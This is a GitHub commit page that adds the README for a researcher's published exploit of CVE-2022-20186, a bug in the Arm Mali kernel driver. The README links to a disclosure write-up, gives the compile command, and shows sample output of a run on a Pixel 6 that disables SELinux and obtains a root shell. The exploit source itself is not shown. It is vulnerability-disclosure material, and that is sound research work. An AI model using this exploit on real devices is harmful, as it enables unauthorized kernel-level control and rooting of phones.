Skip to content

Commit e656709

Browse files
authored
Merge pull request #695 from github/mali_20186
Blog resources
2 parents df66a03 + a5c9805 commit e656709

File tree

5 files changed

+3036
-0
lines changed

5 files changed

+3036
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
## Exploit for CVE-2022-20186
2+
3+
The write up can be found [here](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/). This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
4+
5+
The exploit is tested on the Google Pixel 6 and supports patch levels from Novmember 2021 to Feburary 2022. It is easy to add support for other firmware by changing a few image offsets. For reference, I used the following command to compile with clang in ndk-21:
6+
7+
```
8+
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
9+
```
10+
11+
The exploit rarely fails and can be retried without crashing the device. If successful, it should disable SELinux and gain root.
12+
13+
```
14+
oriole:/ $ /data/local/tmp/mali_alias
15+
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
16+
tracking page 0x6ff794e000
17+
drain 0x6d5b200000
18+
gpu_va[0] 6ff6698000
19+
gpu_va[1] 6ff6695000
20+
alias 0x6ff6693000
21+
overwrite addr : 6ff370051c 51c
22+
overwrite addr : 6de310051c 51c
23+
overwrite addr : 6d5f30051c 51c
24+
overwrite addr : 6d5f10051c 51c
25+
overwrite addr : 6d5f30051c 51c
26+
overwrite addr : 6d5f10051c 51c
27+
result 50
28+
overwrite addr : 6ff370051c 51c
29+
overwrite addr : 6de310051c 51c
30+
overwrite addr : 6d5f30051c 51c
31+
overwrite addr : 6d5f10051c 51c
32+
overwrite addr : 6d5f30051c 51c
33+
overwrite addr : 6d5f10051c 51c
34+
result 50
35+
oriole:/ #
36+
```

0 commit comments

Comments
 (0)